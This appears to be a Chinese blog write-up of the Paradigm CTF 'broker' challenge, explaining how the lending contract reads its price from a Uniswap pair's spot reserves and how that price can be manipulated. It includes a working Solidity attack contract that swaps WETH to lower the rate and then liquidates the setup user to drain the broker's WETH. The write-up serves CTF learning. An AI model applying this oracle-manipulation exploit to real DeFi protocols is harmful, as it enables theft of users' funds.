Paradigm CTF- 银行家
本文是Paradigm CTF的broker系列,这个系列需要与Uniswap进行交互,调试OPCODE的时间会少一点,对DEFI生态的考察会更多一点。DEFI积木如何互相影响,是这个系列的一个考察点。
# Paradigm CTF- 银行家 本文是Paradigm CTF的broker系列,这个系列需要与Uniswap进行交互,调试OPCODE的时间会少一点,对DEFI生态的考察会更多一点。DEFI积木如何互相影响,是这个系列的一个考察点。 本文都是基于https://binarycake.ca/posts/paradigm-ctf-broker/这篇文章进行的分析,如有需要可以参考原文。 > 目前作者正在找智能合约相关的工作,希望能跟行业内人士多聊聊 。如果你觉得我写的还不错,可以加我的微信:woodward1993 ![broker.png](https://img.learnblockchain.cn/attachments/2021/07/qNtd4Px560ea522bba646.png) ## 分析原文: ```js function isSolved() public view returns (bool) { return weth.balanceOf(address(broker)) < 5 ether; } ``` 从上可以看到,本题目解决的条件是最后broker的WETH的余额小于5ether。 作为一个broker合约,我们分析下它资金的流入,流出渠道: | 函数名 | 流入\流出 | 要求 | 状态改变 | | ------ | --------- | ---- | ------ | | `rage()` |NA | | $\mathtt{r}=\mathtt{R}_0/\mathtt{R}_1$ | | `safeDebt(address)` | NA | | $\mathtt{deposite}*\mathtt{r}*2/3$ | | `borrow(uint256)` | TOKEN流出 | $\mathtt{safeDebt}>\mathtt{debt}$ | `debt[msg.sender] += amount` | | `repay(uint256)` | TOKEN流入 | | `debt[msg.sender] -= amount` | | `liquidate(address,uint256)` | TOKEN流入,WETH流出 | $\mathtt{safeDebt}<=\mathtt{debt}$ | `debt[user] -= amount;` | | `deposit(uint256)` | WETH流入 | | `deposited[msg.sender] += amount;` | | `withdraw(uint256)` | WETH流出 | $\mathtt{safeDebt}>\mathtt{debt}$ | `deposited[msg.sender] -= amount` | 我们的目标是让WETH流出,可以看到有`liquidate和withdarw`两个渠道,liquidate看起来更容易出问题: ```js // repay a user's loan and get back their collateral. no discounts. function liquidate(address user, uint256 amount) public returns (uint256) { require(safeDebt(user) <= debt[user], "err: overcollateralized"); debt[user] -= amount; token.transferFrom(msg.sender, address(this), amount); uint256 collateralValueRepaid = amount / rate(); weth.transfer(msg.sender, collateralValueRepaid); return collateralValueRepaid; } ``` ## 预言机攻击 简单看,我们可以操纵rate()比例,让liquidate时,rate()尽可能小,从而我们得到的WETH尽可能多。让rate()小,就需要让$R_0$尽可能小或者$R_1$尽可能大。结合remix可知,$R_0$是token,$R_1$是WETH。 ![image20210710200603638.png](https://img.learnblockchain.cn/attachments/2021/07/Lkao96KB60ea523c0a0d7.png) 这道题是一个简单的预言机攻击的POC,其中Uniswap的Pair合约是预言机唯一的价格来源,其提供了实时的资产价格rate(). 正常情况是User在合约broker中存入(deposit)WETH, 获得一定的存款量,即deposited. 当用户决定贷款时(borrow),会根据实时Uniswap中TOKEN/WETH价格与存款量计算用户的最大贷款额度,safeDebt。当价格发生波动时,rate改变从而用户的safeDebt改变,导致某些用户出现safeDebt<debt的风险敞口,从而可以被外部用户liquidate. 当代为偿还User的债务时,即清算者会获得按照此时刻的资产价格对应的WETH数量。 在本合约中,最大的风险点在于其价格预言机,是Unisawp中Pair的实时价格。 ![image27.png](https://img.learnblockchain.cn/attachments/2021/07/YarJjjHq60ea52474984c.png) 我们可以通过操纵短时间的Uniswap中的该Pair合约中的实时价格,从而可以清算其他用户的债务获利。 ![image32.png](https://img.learnblockchain.cn/attachments/2021/07/xCtnuC2160ea524dac185.png) ## 思路 故最简单的思路是借来足够多的WETH,在uniswap的Pair中交易,换取token,降低rate,然后清算setup用户的债务,获取WETH。 ```js borrow(amountTOken) -> debt增加 无法增加,因为是setup借的 Router02.swapExactTokensForTokens(amountWETHIn,amountTokenout,path,to,deadline) -> r降低 -> safedebt降低 liquidate(user,amount) -> 满足safeDebt <= debt条件 ``` ```js pragma solidity 0.8.0; import "./Setup.sol"; interface Router { function swapExactTokensForTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); } contract Hack { Router public router; Setup public setup; WETH9 public weth; IUniswapV2Pair public pair; Broker public broker; Token public token; uint256 constant DECIMALS = 1 ether; constructor(address _setup) public payable { setup = Setup(_setup); weth = WETH9(setup.weth()); pair = IUniswapV2Pair(setup.pair()); broker = Broker(setup.broker()); token = Token(setup.token()); router = Router(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); } function exploit() public payable { uint amount_WETH = msg.value; //将本合约的ETH换成WETH weth.deposit{value: amount_WETH}(); weth.approve(address(broker), type(uint256).max); weth.approve(address(router), type(uint256).max); token.approve(address(broker), type(uint256).max); token.approve(address(router), type(uint256).max); //调用router接口的swap方法,换成token address[] memory data = new address[](2); data[0] = address(weth); data[1] = address(token); uint[] memory amount_TOKEN = router.swapExactTokensForTokens(amount_WETH,0,data,address(this),(block.timestamp + 2 days)); //调用broker合约的liquidate方法,收割user,要先approve一下TOKEN的使用量. uint amount_liquidate = 21 ether * broker.rate(); broker.liquidate(address(setup), amount_liquidate); //将TOKEN换回WETH,最后取出ETH => 这里liquidate代为偿还User的债务时,就消耗了一些TOKEN,故后续无法再通过交换拿到自己的原先的WETH 逻辑不成立了 require(setup.isSolved(), "not solve"); } function killself() public payable{ selfdestruct(payable(tx.origin)); } receive() external payable {} function attack() public payable { weth.deposit{value: msg.value}(); weth.transfer(address(pair),weth.balanceOf(address(this))); bytes memory payload; pair.swap(msg.value,0,address(this),payload); uint256 rate = broker.rate(); token.approve(address(broker),type(uint256).max); uint256 liqAmount = 21 ether * rate; broker.liquidate(address(setup), liqAmount); require(setup.isSolved(),"!solved"); } } ``` 这里使用到了Uniswap router02合约中的swapExactTokensForTokens函数 ```js function swapExactTokensForTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external virtual override ensure(deadline) returns (uint[] memory amounts) { amounts = UniswapV2Library.getAmountsOut(factory, amountIn, path); // log("amounts:",amounts); require(amounts[amounts.length - 1] >= amountOutMin, 'UniswapV2Router: INSUFFICIENT_OUTPUT_AMOUNT'); TransferHelper.safeTransferFrom( path[0], msg.sender, UniswapV2Library.pairFor(factory, path[0], path[1]), amounts[0] ); _swap(amounts, path, to); } ```
Paradigm CTF- 银行家
本文是Paradigm CTF的broker系列,这个系列需要与Uniswap进行交互,调试OPCODE的时间会少一点,对DEFI生态的考察会更多一点。DEFI积木如何互相影响,是这个系列的一个考察点。
本文都是基于https://binarycake.ca/posts/paradigm-ctf-broker/这篇文章进行的分析,如有需要可以参考原文。
目前作者正在找智能合约相关的工作,希望能跟行业内人士多聊聊 。如果你觉得我写的还不错,可以加我的微信:woodward1993
分析原文:
function isSolved() public view returns (bool) {
return weth.balanceOf(address(broker)) < 5 ether;
}
从上可以看到,本题目解决的条件是最后broker的WETH的余额小于5ether。
作为一个broker合约,我们分析下它资金的流入,流出渠道:
函数名 | 流入\流出 | 要求 | 状态改变 |
---|---|---|---|
rage() |
NA | $\mathtt{r}=\mathtt{R}_0/\mathtt{R}_1$ | |
safeDebt(address) |
NA | $\mathtt{deposite}\mathtt{r}2/3$ | |
borrow(uint256) |
TOKEN流出 | $\mathtt{safeDebt}>\mathtt{debt}$ | debt[msg.sender] += amount |
repay(uint256) |
TOKEN流入 | debt[msg.sender] -= amount |
|
liquidate(address,uint256) |
TOKEN流入,WETH流出 | $\mathtt{safeDebt}<=\mathtt{debt}$ | debt[user] -= amount; |
deposit(uint256) |
WETH流入 | deposited[msg.sender] += amount; |
|
withdraw(uint256) |
WETH流出 | $\mathtt{safeDebt}>\mathtt{debt}$ | deposited[msg.sender] -= amount |
我们的目标是让WETH流出,可以看到有liquidate和withdarw
两个渠道,liquidate看起来更容易出问题:
// repay a user's loan and get back their collateral. no discounts.
function liquidate(address user, uint256 amount) public returns (uint256) {
require(safeDebt(user) <= debt[user], "err: overcollateralized");
debt[user] -= amount;
token.transferFrom(msg.sender, address(this), amount);
uint256 collateralValueRepaid = amount / rate();
weth.transfer(msg.sender, collateralValueRepaid);
return collateralValueRepaid;
}
预言机攻击
简单看,我们可以操纵rate()比例,让liquidate时,rate()尽可能小,从而我们得到的WETH尽可能多。让rate()小,就需要让$R_0$尽可能小或者$R_1$尽可能大。结合remix可知,$R_0$是token,$R_1$是WETH。
这道题是一个简单的预言机攻击的POC,其中Uniswap的Pair合约是预言机唯一的价格来源,其提供了实时的资产价格rate().
正常情况是User在合约broker中存入(deposit)WETH, 获得一定的存款量,即deposited. 当用户决定贷款时(borrow),会根据实时Uniswap中TOKEN/WETH价格与存款量计算用户的最大贷款额度,safeDebt。当价格发生波动时,rate改变从而用户的safeDebt改变,导致某些用户出现safeDebt<debt的风险敞口,从而可以被外部用户liquidate. 当代为偿还User的债务时,即清算者会获得按照此时刻的资产价格对应的WETH数量。
在本合约中,最大的风险点在于其价格预言机,是Unisawp中Pair的实时价格。
我们可以通过操纵短时间的Uniswap中的该Pair合约中的实时价格,从而可以清算其他用户的债务获利。
思路
故最简单的思路是借来足够多的WETH,在uniswap的Pair中交易,换取token,降低rate,然后清算setup用户的债务,获取WETH。
borrow(amountTOken)
-> debt增加 无法增加,因为是setup借的
Router02.swapExactTokensForTokens(amountWETHIn,amountTokenout,path,to,deadline)
-> r降低 -> safedebt降低
liquidate(user,amount)
-> 满足safeDebt <= debt条件
pragma solidity 0.8.0;
import "./Setup.sol";
interface Router {
function swapExactTokensForTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
}
contract Hack {
Router public router;
Setup public setup;
WETH9 public weth;
IUniswapV2Pair public pair;
Broker public broker;
Token public token;
uint256 constant DECIMALS = 1 ether;
constructor(address _setup) public payable {
setup = Setup(_setup);
weth = WETH9(setup.weth());
pair = IUniswapV2Pair(setup.pair());
broker = Broker(setup.broker());
token = Token(setup.token());
router = Router(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
}
function exploit() public payable {
uint amount_WETH = msg.value;
//将本合约的ETH换成WETH
weth.deposit{value: amount_WETH}();
weth.approve(address(broker), type(uint256).max);
weth.approve(address(router), type(uint256).max);
token.approve(address(broker), type(uint256).max);
token.approve(address(router), type(uint256).max);
//调用router接口的swap方法,换成token
address[] memory data = new address[](2);
data[0] = address(weth);
data[1] = address(token);
uint[] memory amount_TOKEN = router.swapExactTokensForTokens(amount_WETH,0,data,address(this),(block.timestamp + 2 days));
//调用broker合约的liquidate方法,收割user,要先approve一下TOKEN的使用量.
uint amount_liquidate = 21 ether * broker.rate();
broker.liquidate(address(setup), amount_liquidate);
//将TOKEN换回WETH,最后取出ETH => 这里liquidate代为偿还User的债务时,就消耗了一些TOKEN,故后续无法再通过交换拿到自己的原先的WETH 逻辑不成立了
require(setup.isSolved(), "not solve");
}
function killself() public payable{
selfdestruct(payable(tx.origin));
}
receive() external payable {}
function attack() public payable {
weth.deposit{value: msg.value}();
weth.transfer(address(pair),weth.balanceOf(address(this)));
bytes memory payload;
pair.swap(msg.value,0,address(this),payload);
uint256 rate = broker.rate();
token.approve(address(broker),type(uint256).max);
uint256 liqAmount = 21 ether * rate;
broker.liquidate(address(setup), liqAmount);
require(setup.isSolved(),"!solved");
}
}
这里使用到了Uniswap router02合约中的swapExactTokensForTokens函数
function swapExactTokensForTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external virtual override ensure(deadline) returns (uint[] memory amounts) {
amounts = UniswapV2Library.getAmountsOut(factory, amountIn, path);
// log("amounts:",amounts);
require(amounts[amounts.length - 1] >= amountOutMin, 'UniswapV2Router: INSUFFICIENT_OUTPUT_AMOUNT');
TransferHelper.safeTransferFrom(
path[0], msg.sender, UniswapV2Library.pairFor(factory, path[0], path[1]), amounts[0]
);
_swap(amounts, path, to);
}
区块链技术网。
- 发表于 2021-07-11 10:07
- 阅读 ( 531 )
- 学分 ( 19 )
- 分类:智能合约
评论